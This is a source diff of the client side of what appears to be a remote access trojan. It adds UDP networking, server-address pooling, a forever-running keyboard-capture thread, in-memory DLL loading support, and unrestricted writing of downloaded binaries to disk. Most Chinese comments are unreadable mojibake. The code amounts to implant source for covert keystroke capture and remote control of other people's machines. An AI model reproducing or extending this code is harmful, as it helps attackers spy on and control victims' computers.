//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
{
|
{
|
||||||
throw "Bad Buffer";
|
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
|
||||||
|
m_CompressedBuffer.ClearBuffer();
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG ulPackTotalLength = 0;
|
ULONG ulPackTotalLength = 0;
|
||||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
|
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
|
||||||
sizeof(ULONG));
|
|
||||||
|
|
||||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||||
ULONG len = m_CompressedBuffer.GetBufferLength();
|
ULONG len = m_CompressedBuffer.GetBufferLength();
|
||||||
if (ulPackTotalLength && len >= ulPackTotalLength)
|
if (ulPackTotalLength && len >= ulPackTotalLength)
|
||||||
{
|
{
|
||||||
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
|
||||||
|
|
||||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
|
||||||
|
|
||||||
ULONG ulOriginalLength = 0;
|
ULONG ulOriginalLength = 0;
|
||||||
|
|
||||||
|
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||||
|
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||||
|
|
||||||
//50
|
|
||||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
||||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
const int bufSize = 512;
|
||||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
|
BYTE buf1[bufSize], buf2[bufSize];
|
||||||
|
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
|
||||||
|
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
||||||
|
|
||||||
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
size_t iRet = uncompress(DeCompressedBuffer,
|
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
|
||||||
|
|
||||||
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||||
{
|
{
|
||||||
CBuffer m_DeCompressedBuffer;
|
|
||||||
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
|
|
||||||
ulOriginalLength);
|
|
||||||
|
|
||||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
if (m_DataProcess)
|
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||||
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
if (ret) {
|
||||||
m_DeCompressedBuffer.GetBufferLength());
|
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||||
delete [] CompressedBuffer;
|
m_CompressedBuffer.ClearBuffer();
|
||||||
delete [] DeCompressedBuffer;
|
|
||||||
throw "Bad Buffer";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
delete [] CompressedBuffer;
|
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
|
||||||
delete [] DeCompressedBuffer;
|
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
|
||||||
#if _DEBUG
|
|
||||||
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
break; // received data is incomplete
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}catch(...) {
|
}catch(...) {
|
||||||
@@ -436,13 +443,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
#else
|
#else
|
||||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||||
#endif
|
#endif
|
||||||
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
BYTE buf[1024];
|
||||||
|
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||||
|
|
||||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||||
if (Z_FAILED(iRet))
|
if (Z_FAILED(iRet))
|
||||||
{
|
{
|
||||||
Mprintf("[ERROR] compress failed \n");
|
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||||
delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
#if !USING_ZLIB
|
#if !USING_ZLIB
|
||||||
@@ -454,20 +462,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
|
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
|
||||||
|
|
||||||
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||||
// 5 4
|
|
||||||
//[Shine][ 30 ]
|
|
||||||
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||||
// 5 4 4
|
|
||||||
//[Shine][ 30 ][5]
|
|
||||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||||
|
|
||||||
delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
CompressedBuffer = NULL;
|
|
||||||
|
|
||||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||||
//shine[0035][0010][HelloWorld+12]
|
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
|
||||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
|
||||||
MAX_SEND_BUFFER);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -486,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
int j = 0;
|
int j = 0;
|
||||||
for (; j < ulSendRetry; ++j)
|
for (; j < ulSendRetry; ++j)
|
||||||
{
|
{
|
||||||
iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
|
iReturn = SendTo(Travel, ulSplitLength, 0);
|
||||||
if (iReturn > 0)
|
if (iReturn > 0)
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
@@ -506,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
int j = 0;
|
int j = 0;
|
||||||
for (; j < ulSendRetry; j++)
|
for (; j < ulSendRetry; j++)
|
||||||
{
|
{
|
||||||
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
|
iReturn = SendTo((char*)Travel,i,0);
|
||||||
|
|
||||||
if (iReturn > 0)
|
if (iReturn > 0)
|
||||||
{
|
{
|
||||||
@@ -526,7 +529,10 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
|
|
||||||
VOID IOCPClient::Disconnect()
|
VOID IOCPClient::Disconnect()
|
||||||
{
|
{
|
||||||
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
if (m_sClientSocket == INVALID_SOCKET)
|
||||||
|
return;
|
||||||
|
|
||||||
|
Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort);
|
||||||
|
|
||||||
CancelIo((HANDLE)m_sClientSocket);
|
CancelIo((HANDLE)m_sClientSocket);
|
||||||
closesocket(m_sClientSocket);
|
closesocket(m_sClientSocket);
|
||||||
@@ -538,8 +544,9 @@ VOID IOCPClient::Disconnect()
|
|||||||
|
|
||||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||||
{
|
{
|
||||||
OutputDebugStringA("======> RunEventLoop begin\n");
|
Mprintf("======> RunEventLoop begin\n");
|
||||||
while (m_bIsRunning && bCondition)
|
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
|
||||||
Sleep(200);
|
Sleep(200);
|
||||||
OutputDebugStringA("======> RunEventLoop end\n");
|
setManagerCallBack(NULL, NULL);
|
||||||
|
Mprintf("======> RunEventLoop end\n");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,12 +2,7 @@
|
|||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
|
||||||
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
|
|
||||||
|
|
||||||
#if _MSC_VER > 1000
|
|
||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
@@ -19,6 +14,7 @@
|
|||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
#include "common/commands.h"
|
#include "common/commands.h"
|
||||||
#include "zstd/zstd.h"
|
#include "zstd/zstd.h"
|
||||||
|
#include "domain_pool.h"
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*32
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
@@ -63,28 +59,23 @@ class IOCPClient
|
|||||||
public:
|
public:
|
||||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
SOCKET m_sClientSocket;
|
|
||||||
CBuffer m_CompressedBuffer;
|
|
||||||
BOOL m_bWorkThread;
|
|
||||||
HANDLE m_hWorkThread;
|
|
||||||
#if USING_CTX
|
|
||||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
#endif
|
|
||||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||||
LOGIN_INFOR tmp = logInfo;
|
LOGIN_INFOR tmp = logInfo;
|
||||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||||
|
|
||||||
return iRet;
|
return iRet;
|
||||||
}
|
}
|
||||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
|
||||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||||
return OnServerSending(szBuffer, ulOriginalLength);
|
return OnServerSending(szBuffer, ulOriginalLength);
|
||||||
}
|
}
|
||||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
|
||||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
||||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||||
|
m_nHostPort = uPort;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL IsRunning() const
|
BOOL IsRunning() const
|
||||||
{
|
{
|
||||||
@@ -95,23 +86,52 @@ public:
|
|||||||
m_bIsRunning = FALSE;
|
m_bIsRunning = FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||||
|
|
||||||
|
VOID RunEventLoop(const BOOL &bCondition);
|
||||||
|
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||||
|
BOOL Reconnect(void* manager) {
|
||||||
|
Disconnect();
|
||||||
|
if (manager) m_Manager = manager;
|
||||||
|
return ConnectServer(NULL, 0);
|
||||||
|
}
|
||||||
|
State& GetState() {
|
||||||
|
return g_bExit;
|
||||||
|
}
|
||||||
|
protected:
|
||||||
|
virtual int ReceiveData(char* buffer, int bufSize, int flags) {
|
||||||
|
// TCP<43>汾<EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
|
||||||
|
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||||
|
}
|
||||||
|
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
|
||||||
|
virtual int SendTo(const char* buf, int len, int flags) {
|
||||||
|
return ::send(m_sClientSocket, buf, len, flags);
|
||||||
|
}
|
||||||
|
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||||
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
|
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
sockaddr_in m_ServerAddr;
|
||||||
|
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||||
|
SOCKET m_sClientSocket;
|
||||||
|
CBuffer m_CompressedBuffer;
|
||||||
|
BOOL m_bWorkThread;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
BOOL m_bIsRunning;
|
BOOL m_bIsRunning;
|
||||||
BOOL m_bConnected;
|
BOOL m_bConnected;
|
||||||
|
|
||||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
#if USING_CTX
|
||||||
|
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#endif
|
||||||
|
|
||||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
|
||||||
|
|
||||||
VOID Disconnect();
|
|
||||||
VOID RunEventLoop(const BOOL &bCondition);
|
|
||||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
|
||||||
|
|
||||||
public:
|
|
||||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
DomainPool m_Domain;
|
||||||
|
std::string m_sCurIP;
|
||||||
|
int m_nHostPort;
|
||||||
bool m_exit_while_disconnect;
|
bool m_exit_while_disconnect;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
|
||||||
|
|||||||
63
client/IOCPUDPClient.cpp
Normal file
63
client/IOCPUDPClient.cpp
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
#include "IOCPUDPClient.h"
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
|
||||||
|
if (szServerIP != NULL && uPort != 0) {
|
||||||
|
SetServerAddress(szServerIP, uPort);
|
||||||
|
}
|
||||||
|
m_sCurIP = m_Domain.SelectIP();
|
||||||
|
unsigned short port = m_nHostPort;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> UDP socket
|
||||||
|
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||||
|
if (m_sClientSocket == INVALID_SOCKET) {
|
||||||
|
Mprintf("Failed to create UDP socket\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>ṹ
|
||||||
|
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
|
||||||
|
m_ServerAddr.sin_family = AF_INET;
|
||||||
|
m_ServerAddr.sin_port = htons(port);
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||||
|
#else
|
||||||
|
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||||
|
Mprintf("Invalid address or address not supported\n");
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||||
|
if (m_hWorkThread == NULL) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||||
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
|
#else
|
||||||
|
pthread_t id = 0;
|
||||||
|
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("UDP client socket created and ready to send.\n");
|
||||||
|
m_bConnected = TRUE;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
|
||||||
|
sockaddr_in fromAddr;
|
||||||
|
int fromLen = sizeof(fromAddr);
|
||||||
|
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
|
||||||
|
}
|
||||||
|
|
||||||
|
int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
|
||||||
|
if (len > 1200) {
|
||||||
|
Mprintf("UDP large packet may lost: %d bytes\n", len);
|
||||||
|
}
|
||||||
|
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
|
||||||
|
}
|
||||||
16
client/IOCPUDPClient.h
Normal file
16
client/IOCPUDPClient.h
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
class IOCPUDPClient : public IOCPClient
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
|
||||||
|
|
||||||
|
virtual ~IOCPUDPClient(){}
|
||||||
|
|
||||||
|
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||||
|
|
||||||
|
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||||
|
|
||||||
|
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||||
|
};
|
||||||
@@ -9,12 +9,36 @@
|
|||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
#include "ClientDll.h"
|
#include "ClientDll.h"
|
||||||
|
#include "MemoryModule.h"
|
||||||
|
#include "common/dllRunner.h"
|
||||||
|
#include "server/2015Remote/pwd_gen.h"
|
||||||
|
#include <common/iniFile.h>
|
||||||
|
#include "IOCPUDPClient.h"
|
||||||
|
|
||||||
|
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||||
|
if (conn->protoType == PROTO_TCP)
|
||||||
|
return new IOCPClient(bExit, exit_while_disconnect);
|
||||||
|
if (conn->protoType == PROTO_UDP)
|
||||||
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||||
|
static ThreadInfo tKeyboard;
|
||||||
|
tKeyboard.run = FOREVER_RUN;
|
||||||
|
tKeyboard.p = new IOCPClient(bExit, false);
|
||||||
|
tKeyboard.conn = conn;
|
||||||
|
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
|
return &tKeyboard;
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
|
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb)
|
||||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
||||||
{
|
{
|
||||||
m_ulThreadCount = 0;
|
m_ulThreadCount = 0;
|
||||||
@@ -24,6 +48,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
|||||||
m_settings = { 30 };
|
m_settings = { 30 };
|
||||||
#endif
|
#endif
|
||||||
m_nNetPing = -1;
|
m_nNetPing = -1;
|
||||||
|
m_hKeyboard = kb;
|
||||||
}
|
}
|
||||||
|
|
||||||
CKernelManager::~CKernelManager()
|
CKernelManager::~CKernelManager()
|
||||||
@@ -60,20 +85,16 @@ UINT CKernelManager::GetAvailableIndex() {
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new")
|
||||||
{
|
{
|
||||||
if (size > 32 * 1024 * 1024) {
|
|
||||||
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
char path[_MAX_PATH], * p = path;
|
char path[_MAX_PATH], * p = path;
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p + 1, "ServerDll.new");
|
strcpy(p + 1, name);
|
||||||
if (_access(path, 0)!=-1)
|
if (_access(path, 0) != -1)
|
||||||
{
|
{
|
||||||
|
if (std::string("ServerDll.new")!=name) return TRUE;
|
||||||
DeleteFileA(path);
|
DeleteFileA(path);
|
||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
||||||
